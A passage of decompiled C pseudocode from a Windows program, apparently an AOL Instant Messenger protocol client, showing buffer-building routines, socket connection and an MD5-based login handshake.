        if ( -1 - (v166 >> 1) >= v166 )
          v167 = (v166 >> 1) + v166;
        else
          v167 = 0;
        if ( v167 < v165 )
          v167 = v165;
        sub_405D20((int)&v232, v167);
        v5 = v234;
        v1 = v233;
        v3 = v232;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = v163[v3];
LABEL_454:
      v5 = v234;
      v3 = v232;
      v1 = v233;
      goto LABEL_455;
    }
  }
LABEL_455:
  v172 = v1 + 1;
  v233 = v172;
  v237[0] = 2;
  if ( (unsigned int)v237 >= v172 || v3 > (unsigned int)v237 )
  {
    if ( v172 == v5 )
    {
      v178 = v172 - v3;
      if ( v172 - v3 > 0xFFFFFFFE )
        v172 = loc_405D90(v3, v178);
      v179 = v178 + 1;
      v180 = v5 - v3;
      if ( v179 > v5 - v3 )
      {
        if ( -1 - (v180 >> 1) >= v180 )
          v181 = (v180 >> 1) + v180;
        else
          v181 = 0;
        if ( v181 < v179 )
          v181 = v179;
        sub_405D20((int)&v232, v181);
        v5 = v234;
        v172 = v233;
        v3 = v232;
      }
    }
    if ( v172 )
    {
      *(_BYTE *)v172 = 2;
      goto LABEL_481;
    }
  }
  else
  {
    v173 = &v237[-v3];
    if ( v172 == v5 )
    {
      v174 = v172 - v3;
      if ( v172 - v3 > 0xFFFFFFFE )
        v172 = loc_405D90(v3, v174);
      v175 = v174 + 1;
      v176 = v5 - v3;
      if ( v175 > v5 - v3 )
      {
        if ( -1 - (v176 >> 1) >= v176 )
          v177 = (v176 >> 1) + v176;
        else
          v177 = 0;
        if ( v177 < v175 )
          v177 = v175;
        sub_405D20((int)&v232, v177);
        v5 = v234;
        v172 = v233;
        v3 = v232;
      }
    }
    if ( v172 )
    {
      *(_BYTE *)v172 = v173[v3];
LABEL_481:
      v5 = v234;
      v3 = v232;
      v172 = v233;
      goto LABEL_482;
    }
  }
LABEL_482:
  v182 = v172 + 1;
  v233 = v182;
  v237[0] = 0;
  if ( (unsigned int)v237 >= v182 || v3 > (unsigned int)v237 )
  {
    if ( v182 == v5 )
    {
      v188 = v182 - v3;
      if ( v182 - v3 > 0xFFFFFFFE )
        v182 = loc_405D90(v3, v188);
      v189 = v188 + 1;
      v190 = v5 - v3;
      if ( v189 > v5 - v3 )
      {
        if ( -1 - (v190 >> 1) >= v190 )
          v191 = (v190 >> 1) + v190;
        else
          v191 = 0;
        if ( v191 < v189 )
          v191 = v189;
        sub_405D20((int)&v232, v191);
        v5 = v234;
        v182 = v233;
        v3 = v232;
      }
    }
    if ( v182 )
    {
      *(_BYTE *)v182 = 0;
      goto LABEL_508;
    }
  }
  else
  {
    v183 = &v237[-v3];
    if ( v182 == v5 )
    {
      v184 = v182 - v3;
      if ( v182 - v3 > 0xFFFFFFFE )
        v182 = loc_405D90(v3, v184);
      v185 = v184 + 1;
      v186 = v5 - v3;
      if ( v185 > v5 - v3 )
      {
        if ( -1 - (v186 >> 1) >= v186 )
          v187 = (v186 >> 1) + v186;
        else
          v187 = 0;
        if ( v187 < v185 )
          v187 = v185;
        sub_405D20((int)&v232, v187);
        v5 = v234;
        v182 = v233;
        v3 = v232;
      }
    }
    if ( v182 )
    {
      *(_BYTE *)v182 = v183[v3];
LABEL_508:
      v5 = v234;
      v3 = v232;
      v182 = v233;
      goto LABEL_509;
    }
  }
LABEL_509:
  v193 = v236;
  v192 = v182 + 1;
  v233 = v192;
  v237[0] = v236;
  if ( (unsigned int)v237 >= v192 || v3 > (unsigned int)v237 )
  {
    if ( v192 == v5 )
    {
      v199 = v192 - v3;
      if ( v192 - v3 > 0xFFFFFFFE )
        v192 = loc_405D90(v3, v199);
      v200 = v199 + 1;
      v201 = v5 - v3;
      if ( v200 > v5 - v3 )
      {
        if ( -1 - (v201 >> 1) >= v201 )
          v202 = (v201 >> 1) + v201;
        else
          v202 = 0;
        if ( v202 < v200 )
          v202 = v200;
        sub_405D20((int)&v232, v202);
        v5 = v234;
        v192 = v233;
        v3 = v232;
      }
    }
    if ( v192 )
    {
      *(_BYTE *)v192 = v193;
      goto LABEL_535;
    }
  }
  else
  {
    v194 = &v237[-v3];
    if ( v192 == v5 )
    {
      v195 = v192 - v3;
      if ( v192 - v3 > 0xFFFFFFFE )
        v192 = loc_405D90(v3, v195);
      v196 = v195 + 1;
      v197 = v5 - v3;
      if ( v196 > v5 - v3 )
      {
        if ( -1 - (v197 >> 1) >= v197 )
          v198 = (v197 >> 1) + v197;
        else
          v198 = 0;
        if ( v198 < v196 )
          v198 = v196;
        sub_405D20((int)&v232, v198);
        v5 = v234;
        v192 = v233;
        v3 = v232;
      }
    }
    if ( v192 )
    {
      *(_BYTE *)v192 = v194[v3];
LABEL_535:
      v5 = v234;
      v3 = v232;
      v192 = v233;
      goto LABEL_536;
    }
  }
LABEL_536:
  v203 = v192 + 1;
  v233 = v203;
  v237[0] = 1;
  if ( (unsigned int)v237 >= v203 || v3 > (unsigned int)v237 )
  {
    if ( v203 == v5 )
    {
      v209 = v203 - v3;
      if ( v203 - v3 > 0xFFFFFFFE )
        v203 = loc_405D90(v3, v209);
      v210 = v209 + 1;
      v211 = v5 - v3;
      if ( v210 > v211 )
      {
        if ( -1 - (v211 >> 1) >= v211 )
          v212 = (v211 >> 1) + v211;
        else
          v212 = 0;
        if ( v212 < v210 )
          v212 = v210;
        sub_405D20((int)&v232, v212);
        v203 = v233;
      }
    }
    if ( !v203 )
      goto LABEL_563;
    *(_BYTE *)v203 = 1;
  }
  else
  {
    v204 = &v237[-v3];
    if ( v203 == v5 )
    {
      v205 = v203 - v3;
      if ( v203 - v3 > 0xFFFFFFFE )
        v203 = loc_405D90(v3, v205);
      v206 = v205 + 1;
      v207 = v5 - v3;
      if ( v206 > v207 )
      {
        if ( -1 - (v207 >> 1) >= v207 )
          v208 = (v207 >> 1) + v207;
        else
          v208 = 0;
        if ( v208 < v206 )
          v208 = v206;
        sub_405D20((int)&v232, v208);
        v203 = v233;
        v3 = v232;
      }
    }
    if ( !v203 )
      goto LABEL_563;
    *(_BYTE *)v203 = v204[v3];
  }
  v203 = v233;
LABEL_563:
  v233 = v203 + 1;
  v237[0] = 16;
  sub_4179C0((unsigned int)v237, (int)&v232);
  v237[0] = 8;
  sub_4179C0((unsigned int)v237, (int)&v232);
  v237[0] = -28;
  sub_4179C0((unsigned int)v237, (int)&v232);
  v4 = a1;
LABEL_564:
  v213 = 0;
  if ( (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2 )
  {
    v214 = *(_DWORD *)(v4 + 468);
    v215 = *(_DWORD *)(v4 + 468);
    while ( *(_WORD *)v215 != 3 )
    {
      ++v213;
      v215 += 4;
      if ( v213 >= (*(_DWORD *)(v4 + 472) - v214) >> 2 )
        goto LABEL_570;
    }
    v236 = *(_WORD *)(v214 + 4 * v213 + 2);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 3;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = v236;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 1;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 16;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 8;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = -28;
    sub_4179C0((unsigned int)v237, (int)&v232);
  }
LABEL_570:
  v216 = 0;
  if ( (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2 )
  {
    v217 = *(_DWORD *)(v4 + 468);
    v218 = *(_DWORD *)(v4 + 468);
    while ( *(_WORD *)v218 != 21 )
    {
      ++v216;
      v218 += 4;
      if ( v216 >= (*(_DWORD *)(v4 + 472) - v217) >> 2 )
        goto LABEL_576;
    }
    v236 = *(_WORD *)(v217 + 4 * v216 + 2);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 21;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = v236;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 1;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 16;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 8;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = -28;
    sub_4179C0((unsigned int)v237, (int)&v232);
  }
LABEL_576:
  v219 = 0;
  if ( (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2 )
  {
    v220 = *(_DWORD *)(v4 + 468);
    v221 = *(_DWORD *)(v4 + 468);
    while ( *(_WORD *)v221 != 4 )
    {
      ++v219;
      v221 += 4;
      if ( v219 >= (*(_DWORD *)(v4 + 472) - v220) >> 2 )
        goto LABEL_582;
    }
    v236 = *(_WORD *)(v220 + 4 * v219 + 2);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 4;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = v236;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 1;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 16;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 8;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = -28;
    sub_4179C0((unsigned int)v237, (int)&v232);
  }
LABEL_582:
  v222 = 0;
  if ( (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2 )
  {
    v223 = *(_DWORD *)(v4 + 468);
    v224 = *(_DWORD *)(v4 + 468);
    while ( *(_WORD *)v224 != 9 )
    {
      ++v222;
      v224 += 4;
      if ( v222 >= (*(_DWORD *)(v4 + 472) - v223) >> 2 )
        goto LABEL_588;
    }
    v230 = *(_WORD *)(v223 + 4 * v222 + 2);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 9;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = v230;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 1;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 16;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 8;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = -28;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v4 = a1;
  }
LABEL_588:
  v225 = 0;
  if ( (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2 )
  {
    v226 = *(_DWORD *)(v4 + 468);
    v227 = *(_DWORD *)(v4 + 468);
    while ( *(_WORD *)v227 != 16 )
    {
      ++v225;
      v227 += 4;
      if ( v225 >= (*(_DWORD *)(v4 + 472) - v226) >> 2 )
        goto LABEL_594;
    }
    v231 = *(_WORD *)(v226 + 4 * v225 + 2);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 16;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 0;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = v231;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 1;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 16;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = 8;
    sub_4179C0((unsigned int)v237, (int)&v232);
    v237[0] = -28;
    sub_4179C0((unsigned int)v237, (int)&v232);
  }
LABEL_594:
  v228 = sub_413200(2, 0, a1, 1, (int)&v232) == 1;
  v235 = -1;
  if ( v232 )
  {
    std___Container_base12____Container_base12(&v232);
    operator delete(v232);
  }
  return v228;
}

//----- (00411A90) --------------------------------------------------------
signed int __userpurge sub_411A90<eax>(int a1<ebx>, char *name, int a3, int a4, int a5, int a6, int a7, int a8, u_short hostshort)
{
  const char *v9; // eax@1
  struct hostent *v10; // eax@3
  signed int result; // eax@6
  signed int v12; // eax@10
  SOCKET v13; // edi@10
  signed int v14; // esi@11
  signed int v15; // eax@11
  signed int v16; // eax@13
  int  s; // [sp+2Ch] [bp+0h]@1
  unsigned int v18; // [sp+1Ch] [bp-10h]@1
  int v19; // [sp+28h] [bp-4h]@1
  int v20; // [sp+10h] [bp-1Ch]@10
  int v21; // [sp+Ch] [bp-20h]@10
  int v22; // [sp+14h] [bp-18h]@10
  int v23; // [sp+18h] [bp-14h]@10
  signed int v24; // [sp+8h] [bp-24h]@11

  v18 = (unsigned int)& s ^ dword_426018;
  v19 = 0;
  v9 = name;
  if ( (unsigned int)a7 < 0x10 )
    v9 = (const char *)&name;
  v10 = gethostbyname(v9);
  if ( !v10 )
  {
    if ( (unsigned int)a7 >= 0x10 )
      operator delete(name);
    return -1;
  }
  if ( *v10->h_addr_list
    && (v20 = 0, v21 = 0, v22 = 0, v23 = 0, v20 = **(_DWORD **)v10->h_addr_list, HIWORD(v21) = htons(hostshort), LOWORD(v21) = 2, v12 = socket(2, 1, 0), v13 = v12, v12 != -1) )
  {
    v24 = 100;
    v15 = sub_41D3A0((struct sockaddr *)&v21, (int)&v24, v12);
    v14 = v15;
    if ( v15 )
    {
      while ( 1 )
      {
        (*(int (__thiscall **)(int))(*(_DWORD *)a1 + 4))(a1);
        if ( v14 != -2 )
          break;
        v24 = 100;
        v16 = sub_41D3A0((struct sockaddr *)&v21, (int)&v24, v13);
        v14 = v16;
        if ( !v16 )
          goto LABEL_14;
      }
      closesocket(v13);
      sub_401970((int)&name);
      result = -1;
    }
    else
    {
LABEL_14:
      sub_401970((int)&name);
      result = v13;
    }
  }
  else
  {
    if ( (unsigned int)a7 < 0x10 )
      return -1;
    operator delete(name);
    result = -1;
  }
  return result;
}

//----- (00411BE0) --------------------------------------------------------
char __fastcall sub_411BE0(int a1)
{
  int v1; // esi@1
  u_long *v2; // esi@5
  u_long *v3; // ST04_4@9
  u_long *v5; // [sp+14h] [bp-34h]@1
  int v6; // [sp+18h] [bp-30h]@1
  int v7; // [sp+1Ch] [bp-2Ch]@1
  int v8; // [sp+44h] [bp-4h]@1
  char v9; // [sp+10h] [bp-38h]@1
  signed int v10; // [sp+24h] [bp-24h]@2
  int v11; // [sp+2Ch] [bp-1Ch]@5
  int v12; // [sp+30h] [bp-18h]@5
  int v13; // [sp+34h] [bp-14h]@5
  int (__stdcall **v14)(char); // [sp+28h] [bp-20h]@5

  v1 = a1;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  (*(int (**)(void))(*(_DWORD *)a1 + 4))();
  if ( !sub_402030((int)&v9, *(_DWORD *)(v1 + 456)) )
  {
    while ( v10 == -2 )
    {
      (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 4))(v1);
      if ( sub_402030((int)&v9, *(_DWORD *)(v1 + 456)) )
        goto LABEL_4;
    }
LABEL_11:
    if ( v5 )
    {
      v3 = v5;
      goto LABEL_13;
    }
    return 0;
  }
LABEL_4:
  if ( v9 != 1 )
    goto LABEL_11;
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v14 = &off_4214F8;
  LOBYTE(v8) = 1;
  v2 = v5;
  if ( (unsigned int)(v6 - (_DWORD)v5) >= 4 && htonl(*v5) == 1 && (unsigned __int8)loc_402780(&v14, &v5, 4) )
  {
    sub_402740((int)&v14);
    operator delete(v2);
    return 1;
  }
  sub_402740((int)&v14);
  if ( v2 )
  {
    v3 = v2;
LABEL_13:
    operator delete(v3);
  }
  return 0;
}

//----- (00411D00) --------------------------------------------------------
char __usercall sub_411D00<al>(int a1<edi>)
{
  int v1; // esi@1
  char result; // al@8
  __int16 v3; // ax@1
  int v4; // edx@3
  int v5; // [sp+10h] [bp-20h]@1
  void *Dst; // [sp+14h] [bp-1Ch]@1
  int v7; // [sp+18h] [bp-18h]@1
  int v8; // [sp+2Ch] [bp-4h]@1
  int v9; // [sp+Eh] [bp-22h]@1
  char v10; // [sp+Ch] [bp-24h]@1
  signed int v11; // [sp+20h] [bp-10h]@4

  v5 = 0;
  Dst = 0;
  v7 = 0;
  v8 = 0;
  v3 = *(_WORD *)(a1 + 460);
  v9 = *(_WORD *)(a1 + 460);
  *(_WORD *)(a1 + 460) = v3 + 1;
  v10 = 1;
  sub_405AD0((int)&v5, 4);
  v1 = v5;
  if ( v5 - (_DWORD)Dst != -4 )
    memset(Dst, 0, v5 - (_DWORD)Dst + 4);
  *(_BYTE *)(v1 + 3) = 1;
  v4 = *(_DWORD *)a1;
  Dst = (void *)(v1 + 4);
  (*(int (__thiscall **)(int))(v4 + 4))(a1);
  if ( sub_402180((int)&v10, *(_DWORD *)(a1 + 456)) )
  {
LABEL_6:
    if ( v5 )
      operator delete(v5);
    result = 1;
  }
  else
  {
    while ( v11 == -2 )
    {
      (*(int (__thiscall **)(int))(*(_DWORD *)a1 + 4))(a1);
      if ( sub_402180((int)&v10, *(_DWORD *)(a1 + 456)) )
        goto LABEL_6;
    }
    if ( v5 )
      operator delete(v5);
    result = 0;
  }
  return result;
}

//----- (00411E10) --------------------------------------------------------
char __stdcall sub_411E10(int a1, int a2)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int v6; // edi@12
  char result; // al@14
  int v8; // edi@17
  int v9; // ST1C_4@1
  int (__stdcall **v10)(char); // [sp+30h] [bp-38h]@1
  int v11; // [sp+34h] [bp-34h]@1
  int v12; // [sp+38h] [bp-30h]@1
  int v13; // [sp+3Ch] [bp-2Ch]@1
  int v14; // [sp+64h] [bp-4h]@1
  int v15; // [sp+20h] [bp-48h]@1
  int v16; // [sp+10h] [bp-58h]@1
  signed int v17; // [sp+24h] [bp-44h]@1
  int v18; // [sp+48h] [bp-20h]@1
  int v19; // [sp+4Ch] [bp-1Ch]@1
  int v20; // [sp+50h] [bp-18h]@1
  int *v21; // [sp+58h] [bp-10h]@1
  __int16 v22; // [sp+44h] [bp-24h]@1

  v10 = &off_4214E8;
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  LOBYTE(v16) = 0;
  v17 = 15;
  sub_401600((int)&v16, -1, 0, a1 + 368);
  v18 = 0;
  v19 = 0;
  v20 = 0;
  LOBYTE(v14) = 2;
  v21 = &ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&v16);
  sub_402570((int)&v22, ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, 0, 0xFu, v9);
  v22 = 1;
  if ( (unsigned int)v17 >= 0x10 )
    operator delete(v16);
  v17 = 15;
  v15 = 0;
  LOBYTE(v16) = 0;
  LOBYTE(v14) = 3;
  sub_4056D0((unsigned int)&v22, (int)&v11);
  if ( v18 )
    operator delete(v18);
  v18 = 0;
  v19 = 0;
  v20 = 0;
  v22 = 75;
  LOBYTE(v14) = 5;
  sub_4056D0((unsigned int)&v22, (int)&v11);
  if ( v18 )
    operator delete(v18);
  v18 = 0;
  v19 = 0;
  v20 = 0;
  v22 = 90;
  LOBYTE(v14) = 7;
  sub_4056D0((unsigned int)&v22, (int)&v11);
  if ( v18 )
    operator delete(v18);
  v18 = 0;
  v19 = 0;
  v20 = 0;
  LOBYTE(v14) = 8;
  loc_4029C0(&v10, &v18, 0);
  if ( sub_413200(6, a2, a1, 23, (int)&v18) == 1 )
  {
    if ( v18 )
      operator delete(v18);
    v8 = v11;
    if ( v11 )
    {
      sub_4061B0(v11, v12);
      operator delete(v8);
    }
    result = 1;
  }
  else
  {
    if ( v18 )
      operator delete(v18);
    v6 = v11;
    if ( v11 )
    {
      sub_4061B0(v11, v12);
      operator delete(v6);
    }
    result = 0;
  }
  return result;
}

//----- (00411FF0) --------------------------------------------------------
char __fastcall sub_411FF0(int a1, int a2, int a3)
{
  int v3; // ebx@1
  int v4; // esi@1
  int v5; // eax@4
  int v6; // eax@6
  int v7; // edi@8
  char result; // al@12
  unsigned int v9; // edi@14
  u_short *v10; // esi@14
  u_short v11; // ax@16
  u_short *v12; // [sp+1Ch] [bp-30h]@1
  int v13; // [sp+20h] [bp-2Ch]@1
  int v14; // [sp+24h] [bp-28h]@1
  int v15; // [sp+48h] [bp-4h]@1
  int v16; // [sp+18h] [bp-34h]@1
  signed int v17[2]; // [sp+10h] [bp-3Ch]@1
  int (__stdcall **v18)(char); // [sp+2Ch] [bp-20h]@3
  int v19; // [sp+30h] [bp-1Ch]@3
  int v20; // [sp+34h] [bp-18h]@3
  int v21; // [sp+38h] [bp-14h]@3

  v3 = a1;
  v4 = 0;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = a2;
  v17[0] = 23;
  if ( sub_412EA0(a1, (int)v17) != 1 )
    goto LABEL_10;
  if ( HIWORD(v17[0]) == 3 )
  {
    v18 = &off_4214E8;
    v19 = 0;
    v20 = 0;
    v21 = 0;
    LOBYTE(v15) = 1;
    if ( (unsigned __int8)loc_402780(&v18, &v12, 0) )
    {
      v5 = sub_402B70((int)&v18, 8);
      if ( v5 )
        sub_4023B0(v5, v3 + 244);
      v6 = sub_402B70((int)&v18, 4);
      if ( v6 )
      {
        setLoginHost(*(const void **)(v6 + 4), *(_DWORD *)(v6 + 8) - *(_DWORD *)(v6 + 4), v3 + 248);
        v4 = 0;
      }
    }
    v7 = v19;
    if ( v19 != v4 )
    {
      sub_4061B0(v19, v20);
      operator delete(v7);
    }
    goto LABEL_10;
  }
  if ( HIWORD(v17[0]) != 7 )
  {
LABEL_10:
    if ( v12 != (u_short *)v4 )
      operator delete(v12);
    return 0;
  }
  v10 = v12;
  v9 = v13 - (_DWORD)v12;
  if ( (unsigned int)(v13 - (_DWORD)v12) < 5 || (v11 = htons_0(*v12), v9 < (unsigned int)v11 + 2) )
  {
    sub_41B030((int)v17);
    result = 0;
  }
  else
  {
    sub_4060C0(a3, (int)(v10 + 1), (int)((char *)v10 + v11 + 1));
    sub_41B030((int)v17);
    result = 1;
  }
  return result;
}

//----- (00412170) --------------------------------------------------------
char __fastcall sub_412170(int a1, int a2, int a3)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int v7; // ST04_4@1
  int v8; // ST08_4@1
  int v9; // ST0C_4@1
  int v10; // ST10_4@1
  int v11; // ST1C_4@1
  int v12; // ST00_4@5
  int v13; // ST04_4@5
  int v14; // ST08_4@5
  int v15; // ST0C_4@5
  int v16; // ebx@7
  int v17; // edi@9
  int v18; // eax@10
  int v19; // esi@10
  void *v20; // edi@12
  unsigned int v22; // edx@18
  int v23; // edx@20
  int v24; // eax@23
  void *v25; // ecx@23
  int v26; // ST1C_4@23
  int v27; // eax@25
  int v28; // edi@26
  int v29; // edi@32
  int v30; // ST18_4@34
  int v31; // ST00_4@48
  int v32; // ST04_4@48
  int v33; // ST08_4@48
  int v34; // ST0C_4@48
  int v35; // ST18_4@48
  int v36; // esi@55
  int v37; // esi@60
  char v38; // zf@9
  int v39; // eax@12
  SOCKET v40; // esi@12
  int v41; // edx@12
  unsigned int v42; // eax@48
  unsigned int v43; // eax@50
  int  s; // [sp+F8h] [bp+0h]@1
  unsigned int v45; // [sp+E4h] [bp-14h]@1
  int v46; // [sp+10h] [bp-E8h]@1
  int v47; // [sp+38h] [bp-C0h]@1
  int v48; // [sp+50h] [bp-A8h]@1
  int (__stdcall **v49)(char); // [sp+3Ch] [bp-BCh]@1
  int v50; // [sp+40h] [bp-B8h]@1
  int v51; // [sp+44h] [bp-B4h]@1
  int v52; // [sp+48h] [bp-B0h]@1
  int v53; // [sp+F4h] [bp-4h]@1
  int v54; // [sp+24h] [bp-D4h]@1
  int v55; // [sp+14h] [bp-E4h]@1
  signed int v56; // [sp+28h] [bp-D0h]@1
  int v57; // [sp+5Ch] [bp-9Ch]@1
  int v58; // [sp+60h] [bp-98h]@1
  int v59; // [sp+64h] [bp-94h]@1
  int v60; // [sp+54h] [bp-A4h]@1
  __int16 v61; // [sp+58h] [bp-A0h]@1
  __int64 Src; // [sp+D4h] [bp-24h]@9
  int v63; // [sp+DDh] [bp-1Bh]@9
  __int16 v64; // [sp+E1h] [bp-17h]@9
  char v65; // [sp+E3h] [bp-15h]@9
  int v66; // [sp+DCh] [bp-1Ch]@17
  int v67; // [sp+70h] [bp-88h]@32
  int v68; // [sp+6Ch] [bp-8Ch]@32
  signed int v69; // [sp+74h] [bp-84h]@32
  signed int v70; // [sp+78h] [bp-80h]@32
  signed int v71; // [sp+7Ch] [bp-7Ch]@32
  signed int v72; // [sp+80h] [bp-78h]@32
  int v73; // [sp+C4h] [bp-34h]@32
  __int64 v74; // [sp+C8h] [bp-30h]@32
  int v75; // [sp+D0h] [bp-28h]@32

  v45 = (unsigned int)& s ^ dword_426018;
  v46 = a3;
  v47 = a1;
  v48 = a2;
  v49 = &off_4214E8;
  v50 = 0;
  v51 = 0;
  v52 = 0;
  v53 = 0;
  v54 = 0;
  LOBYTE(v55) = 0;
  v56 = 15;
  sub_401600((int)&v55, -1, 0, a1 + 368);
  v57 = 0;
  v58 = 0;
  v59 = 0;
  LOBYTE(v53) = 2;
  LOBYTE(ST04_4_0) = 0;
  v60 = (int)&ST04_4_0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&v55);
  sub_402570((int)&v61, ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, 0, 0xFu, v11);
  v61 = 1;
  if ( (unsigned int)v56 >= 0x10 )
    operator delete(v55);
  v56 = 15;
  v54 = 0;
  LOBYTE(v55) = 0;
  LOBYTE(v53) = 3;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  LOBYTE(v53) = 0;
  if ( v57 )
    operator delete(v57);
  v56 = 15;
  v54 = 0;
  LOBYTE(v55) = 0;
  setLoginHost("Unknown!", 0xAu, (int)&v55);
  v57 = 0;
  v58 = 0;
  v59 = 0;
  LOBYTE(v53) = 5;
  v60 = (int)&ST04_4_0;
  LOBYTE(v7) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&v55);
  sub_402570((int)&v61, v7, v8, v9, v10, 0, 0xFu, v11);
  v61 = 3;
  if ( (unsigned int)v56 >= 0x10 )
    operator delete(v55);
  v16 = 0;
  v56 = 15;
  v54 = 0;
  LOBYTE(v55) = 0;
  LOBYTE(v53) = 6;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  LOBYTE(v53) = 0;
  if ( v57 )
    operator delete(v57);
  v17 = v47;
  v38 = *(_BYTE *)(v47 + 644) == 0;
  LOBYTE(Src) = 0;
  *(__int64 *)((char *)&Src + 1) = 0i64;
  v63 = 0;
  v64 = 0;
  v65 = 0;
  if ( v38 )
  {
    sub_4061F0(v48, (int)&v57);
    LOBYTE(v53) = 7;
    v22 = *(_DWORD *)(v17 + 412);
    if ( v22 <= 8 )
    {
      v27 = v17 + 396;
      if ( *(_DWORD *)(v17 + 416) < 0x10u )
        v28 = v17 + 396;
      else
        v28 = *(_DWORD *)v27;
      if ( *(_DWORD *)(v27 + 20) < 0x10u )
        v25 = (void *)v27;
      else
        v25 = *(void **)v27;
      v26 = v60;
      v24 = v22 + v28;
    }
    else
    {
      if ( *(_DWORD *)(v17 + 416) < 0x10u )
        v23 = v17 + 396;
      else
        v23 = *(_DWORD *)(v17 + 396);
      if ( *(_DWORD *)(v17 + 416) < 0x10u )
      {
        v26 = v60;
        v25 = (void *)(v17 + 396);
        v24 = v23 + 8;
      }
      else
      {
        v25 = *(void **)(v17 + 396);
        v26 = v60;
        v24 = v23 + 8;
      }
    }
    sub_41A9D0(v24, (int)&v57, v58, v25, v26);
    sub_41A9D0(4332426, (int)&v57, v58, "AOL Instant Messenger (SM)", v60);
    v29 = v57;
    v67 = 0;
    v68 = 0;
    v69 = 1732584193;
    v70 = -271733879;
    v71 = -1732584194;
    v72 = 271733878;
    sub_41B760(v58 - v57, (int)&v68, v57);
    sub_41B890((int)&v68);
    *(_DWORD *)&Src = v73;
    *(__int64 *)((char *)&Src + 4) = v74;
    *(int *)((char *)&v63 + 3) = v75;
    if ( v29 )
      operator delete(v29);
  }
  else
  {
    v19 = v48;
    v18 = *(_DWORD *)(v48 + 4) - *(_DWORD *)v48;
    if ( v18 < 16 )
      v18 = 16;
    v20 = malloc(v18 + 8);
    v39 = rand();
    *(_DWORD *)v20 = v39;
    v48 = v39;
    *((_WORD *)v20 + 2) = 35;
    *((_WORD *)v20 + 3) = *(_WORD *)(v19 + 4) - *(_WORD *)v19;
    memcpy((char *)v20 + 8, *(const void **)v19, *(_DWORD *)(v19 + 4) - *(_DWORD *)v19);
    v40 = *(_DWORD *)(v47 + 648);
    total_sent += send(*(_DWORD *)(v47 + 648), (const char *)v20, *((_WORD *)v20 + 3) + 8, 0);
    if ( recv_packet((char *)v20, v41, v40, 6000) <= 0 )
      goto LABEL_55;
    if ( *(_DWORD *)v20 != v48 || *((_WORD *)v20 + 2) != 35 || *((_WORD *)v20 + 3) != 16 )
    {
      sub_402740((int)&v49);
      return 0;
    }
    *(_DWORD *)&Src = *((_DWORD *)v20 + 2);
    *((_DWORD *)&Src + 1) = *((_DWORD *)v20 + 3);
    v66 = *((_DWORD *)v20 + 4);
    *(int *)((char *)&v63 + 3) = *((_DWORD *)v20 + 5);
    free(v20);
    v16 = 0;
  }
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 8;
  sub_41A9D0((int)&v45, (int)&v57, 0, &Src, v60);
  v61 = 37;
  LOBYTE(v53) = 9;
